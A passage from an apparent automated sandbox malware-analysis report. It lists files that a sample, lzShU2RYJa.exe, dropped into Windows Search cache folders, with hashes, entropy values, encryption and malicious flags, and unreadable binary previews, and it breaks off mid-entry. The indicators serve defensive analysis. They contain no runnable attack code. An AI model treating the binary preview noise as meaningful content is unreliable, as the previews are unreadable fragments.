Preview:	Windo2s..C.T.\.UV.{$w.e3.....q..%z.s]....\|..d.6o...{.T..~...h<...f...>ER..%.. .....6...]?3T\..-.7C.p8..p.....@...T.=Ns-...0...1.....gN..0.vH..8..0.gt....^O.%M.^......;j.Q....U..#....g.!}Ri.mi...z.wH ....[K4.U....}L..u.LKj..Y~N=.>..2c+..dw[.r(A.3..\|.&aqf.vf[........w..... T.G.Z>....:<..`.E..I.8....P..n.:..`N..D@#Q.....6d.C....4...r.p9wq..LP,.A..[?.h.!.....rr..\|.. .z..v.\|...{...#...Fb.8...T.z\.]"..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.256616411947277
Encrypted:	false
SSDEEP:	12288:QNcWgz7oyfdibmyj1bxjiuTsP583eAMwQknzBcP:QNcHfkHDeG45epZG
MD5:	764062AC3ACBB6DF4E4AE13A4A310340
SHA1:	B77069B348499E6655A5B9A6CBD46E9881E7E4F4
SHA-256:	8665417DF62EA72B5723BDF0D45FAFEC00F4F3EC49102E074BEA6BFEC7B139C8
SHA-512:	95083021E70ABB5392717B6A7A27D3E3E4E6424D6CBB801DE5EA21CA94FA4ACFB8D5E09BBBEA9DD69865CCA2500C522B277E5C51CF79ADC7D92396E7E0139913
Malicious:	false
Preview:	marke....I...........K...6.!..:[............<....?.as.td..-.n.7...3m.F..-oz.CF..~...G.J.,.O.Kh.o..F..&....X.3 ...`.!..M.:....J.......qK........"......?..AS.2m[.u,.0 t.}..k.....Hu.a....D9........X..L....PV#.0l.Z..p....'....6.....Jn.R..(SP.......0.`....-....eT....s.Vw...\-.%.k>._...w.`.\|QIF..@.j5...........,.Y......q.C~n`.2....<M....T.V....v.FV...u.V.e%CL..rs.%...!_.^.Q\...%.....Q...Q.ALN~.,3........u..,y..}V....}.[.@............:.;..#.[...!c.5..X...............>d.."....U ....53....9...J.j....Zp.al...j.o...E...;...3ay..T.u.c.k..OaQ...Cxh...^..<c.\|F....sN^.[$.W..x......5..l..Q.e.a.........c.(=.)....A.+c..........,.b."#J......[.vg..=.."X-i6..k.R....W+C..xU..=..#$F.O...u..6...;YX..2..h+.M...B..:F$#..A....!.......V/+...K.:D. k.t..-....K'....@..+.I...M...[.........@d)\..j`...y.d..4...i....N;..*....[a.fa....l...v..,R.k....26K.$......Y..b..gg......h....1_..z:.X.G..1.K@....$..IC\|.KX....i...4/..2..d.xh0O.....T..U...,...l.>..........F

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.995967698589437
Encrypted:	true
SSDEEP:	768:RYrMApBWmVf4Z+9ZoYsUXXtLrFGfKHAXbqnLf2TRsQSoCyC29h25JeHWoBoIT:R8bBWEQZaiUmef2TYohw/eHjBoIT
MD5:	0ADC971FA2D3FDE77F44CCEC9EF6E8CA
SHA1:	2C08B14CCCADAAE9D4EA46762873D75B2CBC1A20
SHA-256:	B77E43521AF32F494262F1463F14005CA92EED7DEB4E8F0C86E75FCB5CA1A2CE
SHA-512:	35972A0CD76A1A30B7C8A1DD212452DA9D274C89F769DE8527521A1D0449349D99C72FDC44BF99716FE8D8B971822E671FD82414CF29594A37B3629797DE0ABA
Malicious:	true
Preview:	AAA_S.O.Ik.....z....q'.j.5].].....W.C........U......$...t7...vF..M.j...Q...-....S..d...K&./qQ.Q.I.O.VJ:-].F.%Rc.?..)5..\...,...-.,.n.:]o.{S.Z".f.WI...m.=.H<....\|4.....GKI.(.m..WO.......).b.3@.58$...$..<6.}.?k.s.{.Q-..{...J.........J;h.K#h.\...s.B.....6.".PJ..<......x..`.i@E.>..........&..z 69#.....l.r.l..@..=o..D......pH.){?.).4.sA.a.1..uw..6...(....9gM.t.... .<.$..z....W.)...(>..Q..J.......H. P...bB.>...J.$.t.%.T.T.......:dA?.({...8\|.. R..R..y7....M}hF...>.3...,..O....l...:H0./.hn.}.............3T.^...`n..C`..........l....(t.E.`.@........a .]7l...<f...pW./....15.k.....5...../d..g..C.n{95.A...I.qm..]...$$Pu];-...;Q#u.1D8.G..N.W...>.....&..&y..6...}....1...4...s...l...3............K><.Q[.i<''...Bq.b.#.#...sn...^?..bV.......Y...8x...e..."h@.^j..!.!......R3/........(X....{\|...bu..B...[...,.....?......8.E9.f..K.<.W.........>.._.\.\|.S.......^.j."j....s.3.d}s..G......7.zq7.\|.&.o'l.......IOo...J...lzz...Q.)_C.]...e.r....\|A..Q...N..~?.xh..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998208756197814
Encrypted:	true
SSDEEP:	3072:ISwW0mD9MnwKJHKZwjg+qBfYO1L9mcsiW8Ovu:ItmZMn7JfjJdOLZ/v
MD5:	006DDD98AE0CB23776A58DCE17713EC5
SHA1:	C2E812F495B827D257295A03351AFBFE897ECA42
SHA-256:	026887D7067A085A2DCA4BA0207451FF3CDDBF976B86C27AB488689D18D1EA06
SHA-512:	32C00DE2A470F30F413B5669595577333F48E9DF696EBF6808B354045E5F1A1F1F4BB762E2153AC0609DABD1591B08BA2328FFB444CC8072E74170E05BD05D53
Malicious:	true
Preview:	\|pri.S....3._a.(s._....R..]'.s>Z..z^.m...f..u.v._./.....@i{~B..o..?gKZ...r.\|.~...17.X..e.h..b....v.....s...i{5..3....iK..:..1(H..].. 8u.......R.9j.%.6aN4D.....uB.-5..?>...!...A..T......t..r.>....&.6.NV..K(.W.Q-...L...Pt.\|..e...u......\|7.D......'.cN..'Tr............".'.M.b..,?~"..f.....NV..>,....t.[.e..\.k..e!,S."..B..(.X5...6V.:.~B.j.bg......g....e.xL.X).....P.}";.Vf].. +s.a..J.........?....R...D..f...a.mX.R....)....z.n...L...O......'..V.....P..[.{\..V....]?\| .j\|...N.U..VS..o_}...M/.._.....[.....l.C..O...A..8~z...]......J..Z"..a{.C.P....._;..1@.n...0.r#;h.8..!VpZS......cM.....h....._.c.<gBWS_.........H..6HrRII..p.f....I..C.....%ay#.GtqQ~.J..Z.....G\|J......\...{.^..8....n_gD.......}O..1...L.X..c..k.@M.}.4..^.S...8....~I..\|"...n].)...+9.`k(....:..SR@........Xo.5..r......).Hl...sL..D.>.`..eJ3.~....;.`...^...3..T..7..~8.gx0O.)...p.[.4.2..^......{..z.:[.5..*..8.....p.@j$.v.Qu..^..%\|.v..lq...:.#..".....%..2/..(g..E..>.?.....B....U...Q.bh.b..>.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.586846823922662
Encrypted:	false
SSDEEP:	6144:DzMs5/00yMWkSRpKNLq1y1/gijCxc81Cdw:Xb5/xLXNLqYg7
MD5:	45357C6368158B138AD3D8C1D503F304
SHA1:	E59CB7BCB75466A78A2A9A800E79F53E3403E3A2
SHA-256:	20916C4E569DF764663921DCF9634CE30F5BA2C880389E12715B868F26EB081C
SHA-512:	0D532A38CE39E68489D9E5688C22C55282C5BB6DBBE683E4E21877DA364C278385DC85C831AFA619447FF3F65D55B50470A80F6255196D3F9BB5ED6DE5205C91
Malicious:	true
Preview:	0.0..(>A.....n.D...m..V.%]hC.....w.9....<.J.... 2..Q.....;... Y.......(4..'f..(g...{".f\|.Lx ....y22:.h._.O.......Nz.y..Wc.........A$...T..V[..;..Iv.....?..G....F..[....Y-.~d..Hnt5.D....[...96k9..Z....M.P ..'.,.C.0..w.KQnn...o...v.d..............I`.I....Ld@o....yU...V.T.g..>4i.+:.....]m.+5.}Q`=....d@.q.y.\....]ne.B....z.e..`j.A...w.l..5.=k.&...a^......Q..C........O..N.....da".J.[[.dh.s......n...jI.o...>....[..u..!.{%.k68......S..+..........LU.Kf2..6]....I..,..q..GG.F.......c.c..2,.Ldl...p..!....IS...S,\.'.ERc..9.:@1.`....g~..r.n..r.N..z.f.S}..v.~........%.6..=8.F...B..j....1.qL.T'.M...K\Z..`...9.rn0sE.....T..\._.U..i....3...........{c...l.uR..%Po.)..z....LdN.W.....6.3ee.).Q...i.r.5S.+ .S.....aj.8....]........._..p..O9..4..._....1..,...B.h......6....l{...f.f)FH1<..,...\|f(.....cu.[..B._.2S-..j..?.fp-......c..u..[0.t..G.GQ..I.j.b-.EaB...1s[..D.@..f......-.B.U..\1'rPy7...1I............n.g$..^tu.1....]..E.n..CQU>.i....q..Z\L\..Q.>..^..xx..l.r........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.352439980417725
Encrypted:	false
SSDEEP:	3072:QFkVHvIqqohlF9ZN4YIt/ERF9Mz27u1fiRxCM4VZeEpI1McC9ECNEFME3by/pcUs:Fqqqo3F9ZLa/ERF9MzVKRxjIlpIFCNW
MD5:	4923857961C3ECA6174AC7BBC47B89F7
SHA1:	9F6CDD877F47328E828E25521F3CFF1AACF4F78D
SHA-256:	758646904D5363240FF9687D4D289B11E533D282F4A208E1EF2735F73FAEDAF2
SHA-512:	841375B36528CE17455AB62CEDBD3D34403CEC5DF843D53C9D410904D73A91BD72D73356992E80F2ACAC3ADDD367B0E4490DC6817DF61ADD16C511112C627572
Malicious:	false
Preview:	......gk..s\.;....W.(.n.vb.w...I..!O..q0....B...>_)../.u.prfKM.......ur...e...:.........4R.0w..'et.-2....../...).`...Y.A`.k.@($..\+.GX..o.........n....Zey..Q...t.@LTq....g0...kExT..w{Ki4..)..Vro.2.6.......0...d..4e>v..........E7l.kWcX.....U.[.j.OM..-.&.6A`....B.....y....Y.x-.]..L.....Kk..:.5.`._.`.P..........N..)m.s.\|.}.....%0V.<.1.gl.....F.o.V...c.f....c@ ...........0r..cPF.s..~.T......[7...R........-......5k......UG...k.$M[.u.W:....)....@iqO..\._;...YX. ft..N..w.s._bl.S.I..4.s.^~...-..a.!ZS..U_..{4..+%mh;6.m.....v.....o.6.<x....ne54!.....D!....)..e....r...._...{...$.P...q....z..F..C... ..WWWgF.c...3.Y..U..>X..B..2\|..w...O.a...[..&.H.(=...0..B.)....7+.r!..md...x.[<.../.H..O.....j..!.q...w'./2$.Pj.1$...+...)5p..%.u\..".}......J.u2I..=i.3?}?..&dQ.P+J.....A......[J.GcE...t.3h.9.GS.J)y."...c....G......DK...U.<.l..!^T.'....#..w7i.E.."..<=s..!V.V.....'t....!..0.iw+.q....O.N[.b. .8..n.L.=....V>.v.<F.........c.Bd.].8UFt...zg.C...;T.`0.Q.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.index

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.657904611976712
Encrypted:	false
SSDEEP:	24576:LhmbcV/Lyjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSu3:LkcpLUCF8hR3z1rM3lVKSu3
MD5:	F154CD86833E0DC9B2E56D4EAE2324C1
SHA1:	959E799FF82AA08F3D15B82F7E7643CA8905C764
SHA-256:	C072152C045DAE48D7AB3C99BE708C8AED71EC2A9988E0E0419323C51DC12734
SHA-512:	EBF87F7DC91695B57E6703EB90C0B214406B834823803C5C0196473104DF4889A499C27CEB24CA69D4EE66BD23DA73713291804E4ADE00EDED1B1981AFF7E47E
Malicious:	false
Preview:	Ej..D.d..5"0Z....:..!..K..y.......b<...y95.zxb........3.....M.d.U.om(!...%.^...t...w.$....m_^.,#.Q.._..k."..;....T...1k..yMpH....Z.d..]...Da..(..D.x.7.. ..M8.L..,[].....@....V.J..r....v.q..f..5.7.W.ZB..+.....v. .....^...1.JdH[.^afwyg..B6.y.W...b..(r..s.X ..\|0...,..W..>:>;......t..dd.[u..u.?.b:.2uh.+..s.<..t...G..........:.....h..?..-....s...D.....4.W`..?.!....V..U.`.....W..q\.n..F.N...o[..)..r....f,o...viIO.vp.E.RY=gX...@......r...s..h.B.+3y..QO0......#t&....ma(H..Z.._=!_L..E....+.uMWL...B..'.n....U..T9..... .U=?.....b.....j(,...\.....!F.7..d...2.e..&..x...1.6.d:...)...},.}I.........F..Q6-.s........=l1.7....v..lS:....P.....(E"9....O{.....OH.J.jT&..h'./".:?...T.nagI...B......r.0)..X....S......).>...3.e....(.D..F..!.j.~>..p.d....!?..m..c..<..L}nOr.SXcJ....LB/...ri..Gt..}Q...4....YQ.X7..P1.....U#_.0..m..)..W...E.....I.....v.pr.'....I.1.J...>.K.......J..PSn.p.;......%5.b.;.xy.S.`.G...<...6.3...@D_._.2...B..^..v ..c..nLNd..?1.......".....zpH....&!{... b...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.586105562709451
Encrypted:	false
SSDEEP:	6144:QqhJ8EPxCj3igFdpzICdIz+OjjCxc81CdS:LJ8EZ6dpLa+H
MD5:	EB6BC2CF34CECFEAD6CA2CDBDB6E6B1F
SHA1:	2CDA41DD5A74E098AA33A710ABA224135B3DA6B6
SHA-256:	35435B7F6ED14A407675F491EA9271A1BB51A71C9C33A1F197DB89CCBA0E9664
SHA-512:	41E373E117B7EBABBB9BA6EB1D56370697BD1546CAEEB42228A5F6B396093DF1AEA14B0F9B841F60E227388D80666714610357997436F39CFDF396B66DCE5F51
Malicious:	true
Preview:	0.0..w\...2..8.....kK0.......P..2C[O.4.p..g.U.A..R.i.z..8....V..{h.i.{Sex...'.<."C.....[.J...!...3..(........WD.c.X].;Il..;sm..>-.t.1Y...J....q........ym..dfV..h^T...K..s..:...[.x./-].;.,.7Fv..Y.M.....]@...U.....B..........^.Gq%.[.x-B\|$PUfT....f>....P....:..y..`+..#.........C.#_'.t...G.....a.7.J@e^..@~.U..7.+g0T...B ..IS......+..W&.e.!{..~..Dw..Hm.TL...:.^....V..S..q...oe.D;@[%...l.,..Q...QM.q...0...;..l?`..:.........f..z.\|...x..K....>^t.z..)..c.....'.......5....W..%4>#P.;}&.\....p.......f.L....`z..-.T.....h[_D...0k.c....E.t[.sW.\.3....]?\|...RSm.U.o.%....cR."...5M\.v..V...uc.6zk.1.....P..p.O?.]5.o..a.....)03....^5%.x..D......\|.s...J..#J5&...S=56G....._9.....7e./..:.......?W.Z.E-..L.^...r..=...<v>.n."......... hu.......)k.:z..?.YOOP....aQ..l}N.).........S33K..pV.."..@.....S.B,..-...I....$..;NR!....E..\AK0.......m....y.'..Z.;:......&)<.<....(vl.....[5aS,?[y.IP.V..>X.'...:..9...rM.@.R..u......yM.!..R.zbg...2u..%>..P).k#.....J..M.....2.....,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.352629562271553
Encrypted:	false
SSDEEP:	3072:uxvPVEXSCWKdW7XvGyVFBwd1NipBjvoPKhjCEpSWrpiE7FAcC9ECNEFME3by/pc8:uxvPVEXNWBvjFBw5iPjzj7rU6CNn
MD5:	95E56058C8BA73BA92C7C6093FBFAB85
SHA1:	8CDBEEBD991921BA28E93A1D2F695C9651770FA3
SHA-256:	D4AFE0B1780ADF0B26678A4E899132F6970CDEB5B30800C63800BE688E601EEB
SHA-512:	E9896C6DD74B17244239A7A058767E64DA46B9EEAF611B7A5B84D499B5D0F66254664A78869BC8419E53581046826A3EF47D2D972B3198926CEF32930E6145C8
Malicious:	false
Preview:	.......J......YS...Q..m.3O..Y.0.. .... u..._.^...;....pI.........R$.+..r...m..A...~..;...kx....dI"..\|H.ifn.\|4!.T1S#.u...........Um]....'<9.e..k.~K.$X..sb.O..n..^...9R..3...j4..XfN.M...I.{.O.`b.qCl.F.`.JP;IH..&.....\|....Z.&.3.......d.';..W...W)h....a.c),<~....-}#I.GCx...;..v..S.&'.97....."...D...}..K)....]/.D..?.Y..#.2..y'(....l...z..3K.F#.<k......%Aj+.B......D,.......q.I10....O......`V.p\|...@.\.K)..!...h.\|.7...9).o.....nv9.-2`.!.....G....[.pX.t8..........g....c........e..c..Z...@..3..Av#\|.....Y<....R.......F1.%.;v ...P.....d..s..zY. W6.X.....}..v03.F.X....g..~_B.............AH2I...L.j.).C[..O.g.V0..._....@..~..G.1..,Gx.........-.'..3j\}...?..@8.w....Y.)..=.N..?.M..W.......I...~Z..?..o...-.F.v.Vh'.D...I.W5.....r!.^.3...{M....U...s..:.s.C....../.~..?C..W.p.!<%...W^....?];F.S[`..4`\...).a.U..J).fniW..]0.>.x.......M....x?.Z....Ig_N#.].r?..$v...K..!.O..i.;..'_F<....G..*{/C...6%....!A..~h..U).%mZ`'...0........!x...!....N..HV=..^.J.......\|^...BwB/..}.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.index

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658899901669097
Encrypted:	false
SSDEEP:	24576:Si6Wajt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuT:f2CF8hR3z1rM3lVKSuT
MD5:	F8322DD815433DEBE29806457CD807BB
SHA1:	A7F257660B64A1FE765FE87765D146B692533473
SHA-256:	22DD92042D84C8E78D55F5817397651C749D02FD2A8CCC4CB7CB9767C0822BF5
SHA-512:	AEE06C536838AD9B5CED9BCBC767D9873E5A40861F371C1A6AB6607A0011497E0F6F8CCE6409AD154EC59171526D1F7BD9B4EF5504888A51E9B9B025148808F8
Malicious:	false
Preview:	Ej..DO.....h..+9.Y..Q.g./.iPv..#..+\..X.W.l.,......P..2.#k.D.()<......1.QD.c....X...1~.w...a.<..."?$.)..2....K.%$.4e2..7k........}P..R...........}g..sx.L{w.G..oA. (.v...\._._4z.Ef..t......B.%.S....IP,D../C.h.Pz...T...s.G&l..@.'.Y1<......\f...L..)..q......WI..x....'.A.~..gT..:..%.&...a.GQ..{..z............'bE...a.r.....1'L.~..P\|.;0..P.b....9....d1`\W./53....J.\..#zJ<.....r..?7..q.y.khm.ho......c...&...N.C....v.K..s.J....6....).Y.....9.3.c.).D...E"..^[)."y.S..!....+..e...d...;.....}.......5..v...<.dk....s.._B3.V.q37rwG..m....n.h.T.E..0.."...i....l.A... .B.7[.K\.@.!..g%......+.."...2.o...U@w.n.ciLs........"l..:J=P7....4.....[y.i.ci..L.a.....F9._.3Z.ty...P.....O.1T......q5s.q..-.7....8....-{....%.....;.....h2....{.Kl........+.h......9.<<.........1..'{.a+a..@P..G..G..>vs.....ue.I..?..8..Xv..a.7.g.n...G~3.V.=m..............ar."!..,...g.3.ar..t..`.=X.........A...v..@\T.+...=A.l...Zw..{S....w....5.sS..G-D....g....j..O..C......y..<;

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998320445522421
Encrypted:	true
SSDEEP:	3072:N5KhI+h71JFk89kY0HleQ1KyMq/Hx5sT+qN:N5N+h71kJNHlQyMqZ5sT+qN
MD5:	D7724AD39B735A008F69E5655CA80C81
SHA1:	74B7CE5C14839CE2201346B91E653C4072D15220
SHA-256:	9B62BCD4CDC1059E7755FF55E4EA017F10565B190A5CCD5879E20FF877266A2F
SHA-512:	3C6A87E6B56FFC46C482794F87556D4C0FDAF6E781C9B39143F5466615DFD04D748CA526155DADFD9ACCC9D8C29A286E4E065E1731A184959CA1EF3861062CE0
Malicious:	true
Preview:	[{"Sy}....B... &-....s..%3.I....@.BP".<.u\|..!.8......Rp..U....$v.."...........:...P0/..OR:.+...CF.a._S:a;....6F.T.O..c.~N.....=.O-.Ap...;..=.-<..I...._.3\|v.u.a......4.p.tK....R.K....n.........\!jI..b..t.........P3.......[.l.G:J.....w...B..o$b..K..3J)...^F.]....2..QL......@.K.AK.!V..`y.....p".NC.bpu4P...I.......K.-....cF.+.T....6....oT.._...2EW..r..5.S..@.T+....,.g.WI..\|K..}..&{........F......as U..o.s!.36.Md2..wkw2.d..B......&..#\|.9.x.D.vQ$.l8~5{@.l........Mt......=.4 .w..n.[G....b.<.t..;...7...S....5t..R..9..g.c....J.Oz..3.........(8....{...Oa6?......Sc...x@.......i...1....~.}....9....O@.Qf\|..@cz2....%_....l....n...4.#tl:.........<....$.-..#.....q...Y..#.CK.N..&...{b}/..7.H.d.Rq.;.!&/YF.....d......-~u..3......`.:..b-..{...].~.g..fa.kR..2\..~......6."...l..<x...g...........S..H.....X1..y.b.hH.X...m.0..C....K.9L...X.T.xx.Q?).?...............L.0.0N..Q.....\|..........\|.....1."..5M..ZS.9...g.".W...K..,.e.9.....d.}`.3....,3

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998373293483045
Encrypted:	true
SSDEEP:	3072:7sVkjK05IZzoeJen8kf56bcG+O/llaCZl:buNoOxkBdYyul
MD5:	F52A531C52086A4E2F43C0A953031FD3
SHA1:	610DEC30F6D1AB0D9E2F98B086378AE2C953D7AA
SHA-256:	E537B3FB85DBE49CE34D58EC7F37E98C5F6162196F6436EF2222FE8D2CEF10D0
SHA-512:	9098E32CB7576D2373388BAA33D5E0A73661A60979DEDF7DBF3746CF16A5087E8339CB5E2ABF60D547C07A210DCA96079145848AF3486B86FC9234363FEA55B6
Malicious:	true
Preview:	[{"Sy=..Q...i....8..(...D.b..s..I..\|}6\.....6..D\|.....l.....A.R.b.........Q4..O..y4%....Q'X.......0..% \'.x...+..F.8?......j.C........L.q....`...v.kFqz.W....E...#"!Q..E..[...O.S...3/....ct.f..._;.RBn.......Cz\M2.....T.....W2]..n.OQ2.^7/W`.ug_.._..i...o..@r....K{..f....u..B.d..........9}.a.nC...0.+6P.Rk...t.~..ZhF\|_ESwM]d......E...n....:..DN.c...m+{..4@.{i..X`8.Ron@ru.....5v..R].\V)PJ.D..<.../5.}.3S5.3.r..Q.<.[q..K..sy.b..bG...B.=.gs....'...Y..>5.>..X....T.O.j.......{!..Re.^mId..U../....?.W^z..k..s...X.Z...m."pss...d...$.>.......Hv.".!..\.^VJce\..c.1...B(..1..hF.Q^Ev4....b9#%.eZ@h.d..c.......CA..x.a..-z.vdU.Bz..=.....s.?.[....ad..Z.4..C...b...O.~...~*3.>^3U..\|.%........Y.)......(L..k..W,"!.Y...>..6.[v<&....r....j....[...E6....Xk..C..y1.......a.=...k.`....6ya.Y..#H{m..\|.U.J1M:N..&7..b,n..A_.0.p.&...C.....P..t.FC.\|R.?\|...........Qm.=...m.........\....".<..x.q.x.......O.,.\h.X..S.g.Ed...S..r..D.....^V......4[..g.A...u.#+DR..J).C.I....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.9984291046686815
Encrypted:	true
SSDEEP:	3072:GSpb3NQv8wu4Yf4Z0odDtZc0a/2jbDgpN9B6qK4:n59Q0vqy8Dtpa/2j8y4
MD5:	8D26419F32A823DD15BC1A0CF7BA2F60
SHA1:	E92E5290C33EE9D925F11FDFEC2DF38F0E0F1EBF
SHA-256:	686B63BA89A3CA33395D7341FED8C0B3674EB6C515EE5EFDA84ED9124ADB9E86
SHA-512:	0336401FD64C3859BFDD681F8E4C566A62A177CCB188D85EC80EBE34BCE940AAB4BE561BD488F0917DF36D53C86C1E7E8E9FD8FFA39F1EA37827EAB6A92B00CC
Malicious:	true
Preview:	[{"Sy.....27.5..D........^...1~4..$.aq. B..\I.....bJ...3...6...p...9\7!.l......5....T....3..)_.....r...lR..'+....gxy0.u~0T.[.......f.<...u.t#..X.8.'.....\|Y-FN.Hy%..a,.j...h9.<...../.}.\..L.b{t>.:r........d.Y..H.1gZ4..........$y.T>.[...;\..Q....K3vKHP.VO.Y~%..q.cBo..5./.W.H.....Y27g8.....Y..4.....P..Q...<..L..@.;y.6.....'.l.!pU<.$.#s.M....;x..f.f@.H+\0CWN.#./.d..."B...?...Z.KY....l...V.......p.~..q....0..7.V@...=o.i....h:...M..<;.8.W.n.. ..F.<.xvQJ)..cI....W/I..,........a,@...r.a..DkB.....&L...>...iG..!P...e..k....v..0..?...)3.......$..H..^ ]]..kZ.Gw..mp....\.^..~..4M.".V..m..t..-N.....i.....?+Fs...m.......E.o.5z..n=..h.sGx".D.otT;..)i..e...ZzJGe.j.BM{....g^6.E.....n..s..>..D.C!x....i....3...9..ii..v....\|3..'v.[..r.^....e;v.T.LT..h..-G.!f.!~.H.G.......@.........p...z..Q.....&x;.E.Hh.Lt...v...J......y..~})..L..f....@!iq.G../...G.K...{Ay...B^...;.~..a>..-...z].....?^...Rh..\|..1..a....dy...o-.`...K.h.k#et...w....K.N.&x.'q...........]C+..g

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998400644708011
Encrypted:	true
SSDEEP:	3072:fDktZ+NA5MxjwwkkOAf4tihEWJb8vtBNh:EUNaMFVjf48KAgvLNh
MD5:	7D101A22048D8A4B5685DBF316681731
SHA1:	3CAA53AD8C3E8B97066B621CDA8CEF4ED3F57A78
SHA-256:	9AA1DBDD5A01FE1D278600EEDF14188679A55278C725C6E6891763DB115EB243
SHA-512:	F975D60C2EBE177CA4D8BF21F316AC854C05FCD27D29406E0A231FAC72293BBC5C1D40599556FB239E19C619C1723A0EB68617F20100440BE5FA79EEFEFFC1D2
Malicious:	true
Preview:	[{"Syd.l..y.^..F.a.m.W,./..<.....jD....%..#....M-.z..........Tc.9.Zb...`b..v.-..:,...7..VM...eD$..X..UT.\.u.i...=_..QM.,\.T....G.:.Z..8..}oa.,...99..-..p>M1.IF.9n..b...M.{.7...m......X..>....P].0S.'Z.F@.5Q..M.~XGx..^...........=..x_....}...%.&9v...p....\.z..y.........}...........p'.........C.Y.3.eZhAWD`....,.....).b.....R...o.G.%Y.h...P.FiI. Q."!u6.. ..k...H.KFT..z]y.n.X..9r.. ..U..S.....e....2;..(.......U{..sx."K..........M...-.o..Y..Y?/.Dv.....M'......w.k@bK.C><...L....@...n.y..r..L......?...7...3a..B.T..4...n...2I.I'T.......}Hda..v.._6z....;...V-..p^'#.....~...A.....5/.3.~J...b..5#.@.#7..2z.E...^....t.Q..\|..;.%M...v.P:....t.a.....+.5.j..!...UM.....;6.f. ..o.\|.ad.Q.Fq...Q..d.......<{$.7.h..^.\|J.........1..$.8..T.8i.u...Ia....X).ca.....(....qp..`#7...M.Q.h.$...v)V"2..@.......L`..4......_4..'.a._Or.a..s.M[.%.X..E.h{..b..S)i.~..a9mI..D...GS.J.O.Q...n...N.}.8......zz.ec.]B......5..`.K...HGE^J......CX..Q[+\W...C.s...$.u..&...!X..`i..Z6

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998501943339216
Encrypted:	true
SSDEEP:	3072:mBpyLibAfcpckDiYuG2Z/tlasQZIsoCIFlngu9DQcn:KMLzcmYN2Z/pcREQGDQcn
MD5:	A2D365F5F9FC3E3A39F65104ED8BF64C
SHA1:	541639FD95939C99C9B8331E70C5B44D0C4D8274
